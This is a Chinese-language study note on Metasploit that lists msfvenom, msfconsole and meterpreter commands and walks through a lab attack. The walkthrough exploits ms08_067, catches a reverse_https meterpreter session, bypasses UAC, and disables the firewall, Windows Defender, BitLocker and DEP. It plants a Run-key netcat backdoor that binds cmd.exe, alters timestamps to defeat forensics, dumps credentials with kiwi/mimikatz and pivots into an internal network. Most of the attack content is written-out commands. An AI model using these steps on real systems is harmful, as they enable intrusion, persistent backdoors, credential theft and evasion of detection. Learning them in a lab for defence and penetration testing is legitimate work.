这始终还是最好玩的一个工具,整合了下笔记,有点乱忍着看就好。。。
总览
Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了,这是因为Metasploit团队一直都在努力开发各种攻击工具,并将它们贡献给所有Metasploit用户。 Metasploit的设计初衷是打造成一个攻击工具开发平台,本书稍后将讲解如何开发攻击工具。然而在目前情况下,安全专家以及业余安全爱好者更多地将其当作一种点几下鼠标就可以利用其中附带的攻击工具进行成功攻击的环境。 –百度百科
先来看看他的基础架构: 呐,这样,从右边看,他有很多用户接口,最常用的就是前面两个,现在先来分别介绍下Console,后续部分主要使用的接口,直接使用msfconsole进入 它的目录结构为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 . ├── app │ ├── concerns │ └── validators ├── config │ ├── application.rb │ ├── boot.rb │ ├── cucumber.yml │ ├── database.yml #数据库配置文件 │ ├── database.yml.example │ ├── database.yml.travis │ ├── database.yml.vagrant │ ├── environment.rb │ └── environments ├── data #含有多种模块 │ ├── cpuinfo │ ├── eicar.com │ ├── eicar.txt │ ├── emailer_config.yaml │ ├── exploits │ ├── flash_detector │ ├── ipwn │ ├── isight.bundle │ ├── john.conf │ ├── js │ ├── lab │ ├── logos │ ├── markdown_doc │ ├── meterpreter │ ├── mime.yml │ ├── msfcrawler │ ├── msfpescan │ ├── passivex │ ├── php │ ├── post │ ├── ropdb │ ├── snmp │ ├── sounds │ ├── templates #含有多种模板 │ ├── vncdll.x64.dll │ ├── vncdll.x86.dll │ ├── webcam │ ├── wmap │ └── wordlists #含有多种字典 ├── db │ ├── migrate │ └── schema.rb ├── Gemfile ├── Gemfile.lock ├── lib │ ├── anemone │ ├── anemone.rb │ ├── enumerable.rb │ ├── metasm │ ├── metasploit │ ├── msf │ ├── msfenv.rb │ ├── net │ ├── postgres │ ├── postgres_msf.rb │ ├── rabal │ ├── rapid7 │ ├── rbmysql │ ├── rbmysql.rb │ ├── rex │ ├── rex.rb │ ├── snmp │ ├── snmp.rb │ ├── sqlmap │ ├── tasks │ ├── telephony │ ├── telephony.rb │ └── windows_console_color_support.rb ├── metasploit-framework.gemspec ├── modules #主要模块目录,可以看见6大模块。。。 │ ├── auxiliary │ ├── encoders │ ├── exploits │ ├── nops │ ├── payloads │ └── post ├── msfbinscan #这里是一些命令,可以单独拿出来使用 ├── msfconsole ├── msfd ├── msfdb ├── msfelfscan ├── msfmachscan ├── msfpescan ├── msfrop ├── msfrpc ├── msfrpcd ├── msfupdate ├── msfvenom ├── plugins #多种插件,可通过载入插件来连接外部程序,扩充自己功能 │ ├── alias.rb │ ├── auto_add_route.rb │ ├── beholder.rb │ ├── db_credcollect.rb │ ├── db_tracker.rb │ ├── event_tester.rb │ ├── ffautoregen.rb │ ├── ips_filter.rb │ ├── lab.rb │ ├── msfd.rb │ ├── msgrpc.rb │ ├── nessus.rb │ ├── nexpose.rb │ ├── openvas.rb │ ├── pcap_log.rb │ ├── request.rb │ ├── sample.rb │ ├── session_tagger.rb │ ├── socket_logger.rb │ ├── sounds.rb │ ├── sqlmap.rb │ ├── thread.rb │ ├── token_adduser.rb │ ├── token_hunter.rb │ ├── wiki.rb │ └── wmap.rb ├── Rakefile ├── ruby ├── scripts #含有大量脚本,在后渗透测试阶段使用 │ ├── meterpreter │ ├── ps │ ├── resource │ └── shell ├── tools #有多种可单独使用的工具 │ ├── context │ ├── dev │ ├── exploit │ ├── memdump │ ├── modules │ ├── password │ └── recon └── vendor └── bundle
总体流程
这是最基本的使用流程,攻击成功后想干嘛随意。 1:扫描目标,可以使用内置模块,也可以使用其他的扫描程序,这里使用nmap -sS是隐秘扫描,-Pn是假设主机存活,直接扫描。结果看到打开的端口和运行的服务。如果需要更多信息可以用-A 2:使用漏洞利用模块 这里使用了最简单的,权限最高的ms08_067漏洞,为什么用这个?不用管,为了学习后续操作,因为这个最简单呀。 3:查看需要设置的参数 这里要填写rhost的参数 4:设置参数 5:开始攻击 因为这里用的payload是meterpreter,所以利用成功后就可以得到这个,这时就可以进行很多操作了,具体哪些可以看上一篇meterpreter常用命令,这里就介绍一点 6: I:查看目标的进程 Ii:截屏 Iii:使用摄像头 先查看有没有摄像头 这时拍照 这是实时监控,会在浏览器中打开播放窗口 iV:下载系统账户的哈希 Vi:打开Windows的shell
基本命令
msfdb 1 2 3 4 5 6 7 8 root@kali:~ msfdb init msfdb reinit msfdb delete msfdb start msfdb stop
msfpc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 root@kali:~ /usr/bin/msfpc <TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>) 例如: /usr/bin/msfpc windows 192.168.1.10 /usr/bin/msfpc elf bind eth0 4444 /usr/bin/msfpc stageless cmd py https /usr/bin/msfpc verbose loop eth1 /usr/bin/msfpc msf batch wan /usr/bin/msfpc help verbose <TYPE>: + ASP + ASPX + Bash [.sh] + Java [.jsp] + Linux [.elf] + OSX [.macho] + Perl [.pl] + PHP + Powershell [.ps1] + Python [.py] + Tomcat [.war] + Windows [.exe // .dll] <DOMAIN/IP>可使用网卡和MAC地址来探测ip,若不填写将会在生成过程中显示列表来选择 <PORT> 默认443端口 <CMD>使用本地shell <MSF> 使用meterpreter(默认使用它) <BIND> 绑定型shell <REVERSE> 反弹型shell(默认使用它) <STAGED> 将shellcode分片,需要依赖msf(默认使用它) <STAGELESS> 不分片 <TCP> 使用TCP协议明文传输,适应性好,容易被IDS等发现(默认使用它) <HTTP> 使用HTTP协议明文传输,适用于限制80端口传输使用 <HTTPS> 使用HTTPS加密传输,适用于限制在443端口传输,不易被IDS等发现 <FIND_PORT> 将尝试所有端口来突破防火墙 <BATCH>生成每一种组合 <LOOP> 生成每一种类型的 <VERBOSE>显示更加详细的信息
运行命令后,他将生成payload和相应的监听资源文件,使用msfconsole –r ****.rc进行监听,等待目标上钩 例如这里,他显示用了什么命令,生成的payload位置,怎么进行监听,怎么快速发布payload。
msfvenom 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 root@kali:~ Usage: /usr/bin/msfvenom [options] <var=val> Options: -p, --payload <payload> 指定payload,使用-来使用标准输入从而使用自定义的payload --payload-options 列出指定payload的设直项 -l, --list [type ] 列出可使用的模块,可使用payloads, encoders, nops, 筛选 -n, --nopsled <length> 设置空指令滑行长度 -f, --format <format> 指定输出格式 --help -formats 列出支持的格式 -e, --encoder <encoder> 指定编码器 -a, --arch <arch> 指定架构 --platform <platform> 指定平台 --help -platforms 列出支持的平台 -s, --space <length> 现在payload的最大尺寸 --encoder-space <length> 最大编码尺寸 -b, --bad-chars <list> 指定要编码的坏字符,例如:'\x00\xff' -i, --iterations <count> 编码次数 -c, --add-code <path> 指定包含一个额外的win32shellcode文件 -x, --template <path> 指定一个可执行文件作为模板 -k, --keep 保持原模板软件有效性 -o, --out <path> 指定输出位置 -v, --var-name <name> 指定一个自定义的变量名去使用特定输出格式 --smallest 生成尽可能小的payload
msfconsole 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 root@kali:~ Usage: msfconsole [options] Common options -E, --environment ENVIRONMENT The Rails environment. Will use RAIL_ENV environment variable if that is set . Defaults to production if neither option not RAILS_ENV environment variable is set . Database options -M, --migration-path DIRECTORY 指定一个额外的包含migration DB的目录 -n, --no-database 不适用数据库 -y, --yaml PATH 指定包含数据库设置的yaml文件地址 Framework options -c FILE 载入指定的配置文件 Module options --defer-module-loads 延期载入模块 -m, --module-path DIRECTORY 添加一个额外的模块路径 Console options: -a, --ask 退出之前先询问 -L, --real-readline 使用系统的readline而非rb的 -o, --output FILE 输出到指定文件 -p, --plugin PLUGIN 启动时即载入插件 -q, --quiet 安静启动 -r, --resource FILE 使用资源文件,可用-表示标准输入 -x, --execute-command COMMAND 相当于以前的msfcli,后面执行一些命令,用;分隔 msf > ? 核心命令 ============= Command Description ------- ----------- ? 显示帮助 advanced 后接模块,显示高级配置信息 back 返回上层 cd 改变当前工作目录 connect 相当于nc Usage: connect [options] <host> <port> -C 对EOL sequence尝试使用回车换行. -P <opt> 指定源端口 -S <opt> 指定源地址 -i <opt> 指定发送一个文件的内容。 -s 使用ssl连接 -u 切换成UDP的socket -w <opt> 指定连接超时 -z 只去连接一下就返回 edit 编辑当前使用的模块 exit 退出 get 获取指定局部变量的值 getg 获取指定全局变量的值 grep grep命令 info 显示指定模块的信息 irb 进入irb模式(可用来编写irb脚本并执行)可以跟-e接脚本直接执行 jobs 显示,管理job(在任务较多时可以再使用参数) kill 杀死一个job load 载入指定插件(载如插件后又是一mol功能,以后再说。。。) loadpath 载如一个指定位置的插件 makerc 将本次进入控制台后使用的命令全部保存为资源文件(就相当于批处理文件) options 显示指定端口的一般设置项信息 reload_all 重载所有模块 rename_job 重命名一个jobs resource 运行一个资源文件 route 使用指定session来路由,实现内网渗透等 route [add/remove/get/flush/print ] subnet netmask [comm/sid] search 搜索模块 Usage: search [keywords] Keywords: app : 匹配客户端还是服务端攻击 author : 匹配作者 bid : 匹配Bugtraq ID cve : 匹配CVE ID edb : 匹配Exploit-DB ID name : 匹配描述name osvdb : 匹配OSVDB ID platform : 匹配平台(Windows,Linux,Android等) ref : 匹配ref type : 匹配指定类型模块(exploit, auxiliary, or post) 例如: search cve:2009 type :exploit app:client sessions 管理session的 Usage: sessions [options] OPTIONS: -K 终止所有sessions -c <opt> 与-i配合,对指定session运行指定命令(不使用-i将会对所有生效) -i <opt> 交互式方式进入session -k <opt> 终止会话 -l 列出所有sessions -q 安静模式 -r 与-i配合,对指定session重置环形缓冲区(不使用-i将会对所有生效) -s <opt> 和-i配合,对指定session运行指定脚本(不使用-i将会对所有生效) -t <opt> 设置响应超时 -u <opt> 将shell升级为meterpreter -v 列出详细的 -x 显示扩展的信息 set 设置局部变量的值 setg 设置全局变量的值 show 显示被指定的类型或是所有 [*] 可以使用类型过滤:all, encoders, nops, exploits, payloads, auxiliary, plugins, info, options [*] 在模块中可以这样用: missing, advanced, evasion, targets, actions sleep 在数秒内不做任何事 spool 将以后的输出同时写入指定文件便于查看 threads 查看当前工作的线程 unload 卸载指定插件 unset 去除局部变量的赋值 unsetg 去除指定全局变量的赋值 use 使用指定的模块 数据库命令 ========================= Command Description ------- ----------- creds 列出所有creds信息 db_connect 连接一个存在的数据库 db_disconnect 断开数据库连接 db_export 导出文件 db_import 倒入一个扫描结果文件(会自动探测类型)直接使用命令可以看到支持的类型 db_nmap 和nmap一样,只是这个直接将结果写入数据库 db_rebuild_cache 重建数据库缓存 db_status 显示当前数据库连接状态 hosts 列出主机 loot 列出所有信息(这些命令都可以使用参数来自定义。。。。) notes 列出所有的主机 services 列出所有的服务 vulns 列出所有的漏洞 workspace 管理工作空间的 workspace 列出工作空间 workspace [name] 切换到指定工作空间 workspace -a [name] ... 添加 workspace -d [name] ... 删除 workspace -D 删除所有 workspace -r <old> <new> 重命名
meterpreter
高级,动态,可扩展的payload,它要远强于系统自带shell,在后渗透测试阶段提供一站式操作界面,所以能够使用meterpreter尽量使用它。 它的特点:
完全基于内存的dll注入式payload(不写入硬盘,当然也可以写入硬盘实现持续控制)
注入合法系统进程并建立stager(传输器)
基于stager上传和预加载dll进行扩展模块注入(客户端API)
基于stager建立的socket链接建立加密的TLS/1.0通信隧道
利用TLS隧道进一步加载后续扩展模块(避免网络取证)
服务端(攻击者端)使用C语言编写
客户端(受害者端)提供基于ruby的全特性API(支持任何语言,只是其他语言不一定是全功能)
生成payload 之所以插播此部分,因为可能因为各种原因导致主动利用不成功而无法继续meterpreter实验。先生成payload手动在靶机上运行就可以不必太依赖其他知识,生成方法可以使用msfvenom或是免杀里面介绍的其他内容,也可以使用msfconsole:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 msf > use payload/windows/meterpreter/reverse_https msf payload(reverse_https) > show options Module options (payload/windows/meterpreter/reverse_https): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '' , seh, thread, process, none) LHOST yes The local listener hostname LPORT 8443 yes The local listener port LURI no The HTTP Path msf payload(reverse_https) > set LHOST 192.168.79.130 LHOST => 192.168.79.130 msf payload(reverse_https) > generate -h Usage: generate [options] Generates a payload. OPTIONS: -E 强制编码 -b <opt> 排除坏字符,例如: '\x00\xff' -e <opt> 指定编码器 -f <opt> 指定输出文件,否则输出到屏幕 -i <opt> 编码几次 -k 保留模板功能 -o <opt> 用逗号分隔形式指定参数 -p <opt> 输出平台 -s <opt> Nop滑行长度 -t <opt> 输出格式: bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,axis2,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,jar,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-cmd,psh-net,psh-reflection,vba,vba-exe,vba-psh,vbs,war -x <opt> 指定模板
此处,排除坏字符是使用编码器将坏字符编码而不是直接舍弃,它是智能选择,在排除坏字符功能实现的前提下使用最优秀的编码器,若坏字符太多可能就不能找到编码器编码咯!这里示例如下:
1 msf payload(reverse_https) > generate -b '\x00\xff' -s 20 -t exe -p x86 -f hia.exe
启动监听:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 msf payload(reverse_https) > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_https payload => windows/meterpreter/reverse_https msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/meterpreter/reverse_https): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '' , seh, thread, process, none) LHOST yes The local listener hostname LPORT 8443 yes The local listener port LURI no The HTTP Path Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) > set LHOST 0.0.0.0 LHOST => 0.0.0.0 msf exploit(handler) > run [*] Started HTTPS reverse handler on https://0.0.0.0:8443 [*] Starting the payload handler...
使用meterpreter 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 meterpreter核心命令 ============= ? / help 显示帮助菜单 background 将此会话放进后台(回话依然存在,这样可以使用其他模块利用此session来做更多事) bgkill 杀死一个后台会话 bglist 显示后台运行的脚本 bgrun 运行一个meterpreter脚本作为后台线程 channel 显示频道里信息或者控制频道 close 关闭频道 exit / quit 终止meterpreter会话get_timeouts 得到当前回话的超时值 info 显示关于选定模块的信息 irb 进入rb脚本模式 load 载入一个或多个meterpreter扩展 machine_id Get the MSF ID of the machine attached to the session migrate 迁移攻击载荷到指定的pid或者进程名(默认pid,-N name进程名) read / write 从一个频道读取/写入数据resource 运行一个资源文件(类似批处理脚本) run 运行一个meterpreter脚本或模块 set_timeouts 设置当前模块连接超时值 sleep 强制meterpreter去什么都不做再重新连接 transport 改变当前传输机制(后续发) use 改变load的别名 uuid 获取当前的uuid 文件命令(和Linux几乎一致) ============================ cat 把一个文件内容输出到屏幕(查看文件内容) cd 移动到其他目录download 下载一个文件或目录 Usage: download [options] src1 src2 src3 ... destination OPTIONS: -r 递归下载所有内容 -t 时间戳也要下载 edit 编辑一个文件(和vim操作类似) lpwd 查看本地目录 getwd 查看远程目录 lcd 改变本地工作目录 ls 列出文件 mkdir 创建目录 mv 移动 pwd 显示当前工作目录rm 删除 rmdir 删除目录 search 搜素 show_mount 列出所有设备(磁盘) upload 上传文件或目录(-r 地柜上传) 网络命令 =========================== arp 显示ARP缓存表 getproxy 显示代理设置 ifconfig 显示网卡设置 ipconfig 显示网卡设置 netstat 显示网络连接状态 portfwd 指向一个本地端口到远程服务(端口转发,后续会发) route 显示(修改)受害主机路由表 Supported commands: add [subnet] [netmask] [gateway] delete [subnet] [netmask] [gateway] list 系统命令 ======================= clearev 清除事件日志(系统自带的日志) drop_token 放弃所有的假冒令牌 execute 执行一条命令(后续发) getenv 取得指定的一个或多环境变量的值 getpid 得到当前进程的pid(攻击shell的pid) getprivs 尝试获取所有特权 getsid Get the SID of the user that the server is running as getuid 显示当前的身份 kill 杀死一个进程,后接pid,参数-s杀死相关的进程ps 列出目标主机的进程 reboot 重启目标主机 shutdown 关闭目标主机 reg 修改注册表,可查看帮助(后续发) rev2self 回到目标主机的初始用户账户下(例如开始是admin后来提权为system,可以回到admin) shell 使用Windows系统命令行 steal_token 尝试盗取一个令牌 suspend 暂停或恢复一个列表进程sysinfo 取得目标主机的系统信息,含电脑名,操作系统,架构,语言,工作组,登录用户数 用户界面命令 =============================== enumdesktops 列举出目标主机上所有的桌面 idletime 返回目标主机已经被闲置了多少时间 keyscan_dump 得到键盘录制的内容 keyscan_start 开始键盘录制 keyscan_stop 停止键盘录制 screenshot 抓取屏幕截图 setdesktop 切换到其他用户界面【当有多个用户登录时】 uictl 控制用户的键盘,鼠标 网络摄像头命令 ======================= record_mic 从默认的录入设备记录x秒的音频 OPTIONS: -d <opt> 记录几秒,默认1s -f <opt> 保存路径,默认:'/root/[randomname].wav' -p <opt> 自动播放捕获到的音频,默认:true webcam_chat 开启一个视频聊天 webcam_list 显示设备列表 webcam_snap 从指定的设备截图 webcam_stream 从指定的webcam播放视频流 权限提升 ====================== getsystem 尝试提升用户权限 密码数据库 ================================ hashdump 下载密码哈希值(sam库) 文件属性 timestomp 修改文件的属性(后续发)
后渗透测试
admin绕过UAC Win7及以上默认都会开启用户访问控制,即使得到administrator权限也不能直接提权到system(如下图),所以要先绕过UAC,下面是方法,前提是已经有一个administrator的shell了。 0X01 use exploit/windows/local/ask 设置一个欺骗性的名字,然后在受害主机弹出确认框,若对方确认则成功 0X02 use exploit/windows/local/bypassuac_vbs 也是需要用户确认,通过vbs来绕过,生成了清理文件可以手动点击清理 目标会弹出确认框,需要点击确认才行 0X03 use exploit/windows/local/bypassuac 老师的实验使用此不需要目标确认,但是我自己实验还是需要确认才行。
低权限system提权 如题,需要一个低权限的shell,然后需要利用目标存在的漏洞,可在 Exploit/windows/local/目录下搜索能够提权的模块。
关闭防火墙 现在及之后命令都是在system权限下进行的:
1 netsh advfirewall set allprofiles state off
不过这样隐蔽性不好,可以直接添加一条规则:
1 2 3 meterpreter > execute -f cmd -i -H C:\windows\system32>netsh firewall show opmode C:\windows\system32>netsh firewall add portopening TCP 444 "hia-hia-hia" ENABLE ALL
关闭windefend 1 net stop windefend(就像很普通的关闭服务)
关闭bitlocker 1 2 manage-bde -status E: manage-bde -off E:(需要在受害者已经解锁后才能去除加密,如下图)
开启远程桌面 1 run post/windows/manage/enable_rdp
(看到最后一句提供了关闭的rc文件)
1 2 run getgui -e run getgui -u username -p passwd
关闭DEP 1 bcdedit.exe /set {current} nx AlwaysOff
杀死防病毒软件
token窃取 tokens: 用户每次登陆,账号绑定临时的token 访问资源时提交token进行身份验证,类似于web cookie
delegate token:交互登陆会话
impersonate token:非交互登陆会话(他们两者权限是一样的,但是只有delegate token可以交互)
delegate token账号注销后变为impersonate token,权限依然有效
incognito 独立功能的软件,被msf集成在meterpreter中 无需密码破解或获取密码hash,窃取token将自己伪装成其他用户 尤其适用于与环境下提权渗透多操作系统,下面的模块中含有相关技术 其他模块 使用load可以看到存在插件
espia screengrab用来截屏。。。
lanattacks 1 2 3 4 5 6 7 8 9 10 11 12 13 14 Lanattacks: DHCP Commands ========================= dhcp_load_options 载入选项 dhcp_log 记录 dhcp_reset 重置 dhcp_set_option 设置 dhcp_start 开始 dhcp_stop 停止 Lanattacks: TFTP Commands ========================= tftp_add_file 像tftp添加文件 tftp_reset 重置 tftp_start 开始 tftp_stop 停止
extapi 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 Extapi: Window Management Commands ================================== window_enum 枚举所有已经打开的窗口 Extapi: Service Management Commands =================================== service_control 控制服务 (start/pause/resume/stop/restart) service_enum 枚举所有服务 service_query 查询指定服务细节 Extapi: Clipboard Management Commands ===================================== clipboard_get_data 读取剪贴板内容 clipboard_monitor_dump 下载监听的内容 clipboard_monitor_pause 暂停监听 clipboard_monitor_purge 删除已经监听的数据 clipboard_monitor_resume 继续监听 clipboard_monitor_start 监听剪贴板 clipboard_monitor_stop 停止监听 clipboard_set_text 向目标剪贴板写入文本(似乎并不好用) Extapi: ADSI Management Commands ================================ adsi_computer_enum 枚举所有指定域的电脑 adsi_dc_enum 枚举所有指定域的域控制器 adsi_domain_query Enumerate all objects on the specified domain that match a filter. adsi_group_enum 枚举所有指定域的组 adsi_nested_group_user_enum Recursively enumerate users who are effectively members of the group specified. adsi_user_enum 枚举所有指定域的用户 Extapi: WMI Querying Commands ============================= wmi_query Perform a generic WMI query and return the results
kiwi 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Kiwi Commands ============= creds_all Retrieve all credentials creds_kerberos Retrieve Kerberos creds creds_livessp Retrieve LiveSSP creds creds_msv Retrieve LM/NTLM creds (hashes) creds_ssp Retrieve SSP creds creds_tspkg Retrieve TsPkg creds creds_wdigest Retrieve WDigest creds golden_ticket_create Create a golden kerberos ticket kerberos_ticket_list List all kerberos tickets kerberos_ticket_purge Purge any in -use kerberos tickets kerberos_ticket_use Use a kerberos ticket lsa_dump 下载LSA secrets wifi_list 列出WiFi密码
Incognito 1 2 3 4 5 6 7 8 Incognito Commands ================== add_group_user 尝试用所有的token去添加一个用户到域 add_localgroup_user 尝试用所有的token去添加一个用户到本地 add_user 尝试用所有token去添加一个用户 impersonate_token 使用Impersonate token伪装身份 list_tokens 列出存在的token snarf_hashes Snarf challenge/response hashes for every token
mimikatz 1 2 3 4 5 6 7 8 Mimikatz Commands kerberos Attempt to retrieve kerberos creds livessp Attempt to retrieve livessp creds mimikatz_command Run a custom command msv Attempt to retrieve msv creds (hashes) ssp Attempt to retrieve ssp creds tspkg Attempt to retrieve tspkg creds wdigest Attempt to retrieve wdigest creds
sniffer 1 2 3 4 5 6 7 Sniffer Commands sniffer_dump 下载捕获的包 sniffer_interfaces 枚举所有可用网络接口 sniffer_release 释放捕获的包 sniffer_start 开始 sniffer_stats 状态 sniffer_stop 停止捕获包
python 1 2 3 4 5 Python Commands =============== python_execute 执行一串Python命令 python_import 导入运行脚本或模块 python_reset 重启解释器
powershell 1 2 3 4 5 Powershell Commands =================== powershell_execute 执行一串powershell命令 powershell_import 导入ps1文件或是 .NET 组装的 DLL powershell_shell 进入交互式powershell
REG 使用注册表编辑器: Windows几乎所有的设置都是写在注册表中的,所以注册表工具异常强大,这里以安装一个开机自启动执行监听并返回shell的nc为例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 reg Usage: reg [command ] [options] OPTIONS: -d <opt> 设置键值. -k <opt> 指定键路径(E.g. HKLM\Software\Foo). -r <opt> The remote machine name to connect to (with current process credentials -t <opt> 设置键类型(E.g. REG_SZ). -v <opt> 设置键名 -w Set KEY_WOW64 flag, valid values [32|64]. COMMANDS: enumkey 枚举一个键的值 [-k <key>] createkey 创建一个键 [-k <key>] deletekey 删除一个键 [-k <key>] queryclass 查询键的class [-k <key>] setval 设置一个子键 [-k <key> -v <val> -d <data>] deleteval 删除一个子键 [-k <key> -v <val>] queryval 查询一个子键 [-k <key> -v <val>]
补充:nc.exe:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 connect to somewhere: nc [-options] hostname port[s] [ports] ... listen for inbound: nc -l -p port [options] [hostname] [port] options: -d 从控制台分离后悄悄执行 -e prog 绑定一个程序到监听端口[dangerous!!] -i secs 间隔时间 -l 监听模式 -L 监听且在连接断开后,继续监听 -n numeric-only IP addresses, no DNS -o file 以16进制下载数据 -p port 本地端口号 -r 使用随机的本地/远程端口 -s addr 源地址 -t 回应Telnet协商 -u UDP模式 -v 详细信息 -z 端口扫描 port numbers can be individual or ranges: m-n [inclusive]
查询这个键:
1 reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
设置子健:
1 reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\nc.exe -Ldp 444 -e C:\\windows\system32\cmd.exe'
查询子健:
1 reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc
Win7上查看下:
execute 1 2 3 4 5 6 7 8 9 10 11 12 13 Usage: execute -f file [options] Executes a command on the remote machine. OPTIONS: -H 创建隐藏的进程 -a <opt> The arguments to pass to the command . -c Channelized I/O (required for interaction). -d <opt> The 'dummy' executable to launch when using -m. -f <opt> 要执行的命令 -i 交互式执行 -k Execute process on the meterpreters current desktop -m 从内存中执行 -s <opt> 以指定session的用户身份来执行该命令 -t 以impersonated token身份来执行该命令
检查成功:
timestomp 说起文件时间就是一个坑,第一次往学长靶机放shell就是因为这个被秒找到。。。前言: 文件系统访问会留下痕迹,这是电子取证重点关注的地方,渗透测试和攻击者往往希望销毁文件系统访问痕迹,但是鬼知道有没有彻底销毁,所以最好的避免被电子取证发现的方法就是不要碰文件系统,而这也是meterpreter的先天优势所在(完全基于内存),要是碰了该咋办呢?不搭后语: mac时间(modified/accessed/changed) 可以使用
1 2 3 ls –l hia.exe ls -l --time=atime hia.exe ls –l –time=ctime hia.exe
也可以使用
也可以使用
1 2 3 4 5 6 7 8 9 10 11 12 meterpreter > timestomp Usage: timestomp OPTIONS file_path OPTIONS: -b 删除mace时间戳 -a <opt> 设置atime -c <opt> 设置ctime -m <opt> 设置mtime -e <opt> 设置etime -z <opt> 设置所有时间 -f <opt> 复制指定文件的时间戳 -r 对一个目录递归设置mace时间戳 -v 显示mace时间戳
补充:mace中的e:mft entry mft:ntfs文件系统的主文件分配表 master file table 通常1024字节或2个硬盘扇区,其中存放多项entry信息 包含文件大量信息(大小 名称 目录位置 磁盘位置 创建日期) 更多信息可研究文件系统取证分析技术 文字不够图来凑:
跳板 实验环境:
Monowall 192.168.79.135/10.21.11.1 边界防火墙
Win7 10.21.11.2 内网主机,执行木马反弹shell,用来做跳板
Winxp 10.21.11.3 内网主机,被通过跳板攻击
Kali2016.2 192.168.79.130 攻击
使用跳板 配置防火墙规则,开心就好 取得win7shell,双击就好 查看IP: 使用跳板: 扫描内网: (速度太慢了,就只指定了一台主机) 入侵内网主机: (恶俗的08067…)
使用端口转发: 命令:
1 2 3 4 5 6 7 8 9 10 11 meterpreter > portfwd -h Usage: portfwd [-h] [add | delete | list | flush] [args] OPTIONS: -L <opt> Forward: 本地监听主机 Remote: 要连接的本地主机 -R 表明是个反弹的端口转发 -l <opt> Forward: 本地监听端口 Reverse: 本地主机去连接的端口 -p <opt> Forward: 要连接到的远程主机端口 Reverse: 远程主机监听的端口 -r <opt> Forward: 远程主机
1 meterpreter > portfwd add -L 192.168.79.130 -l 54321 -r 10.21.11.3 -p 445
后来: 使用跳板的路由配置只在msfconsole内部生效,似乎db_nmap无效 使用跳板时若跳板机防火墙规则不允许出站可以使用之前的方法修改规则 若本机自己处于内网,可以使用动态域名内网穿透和公网主机+隧道的方式
其他
来源
安全牛-kali-linux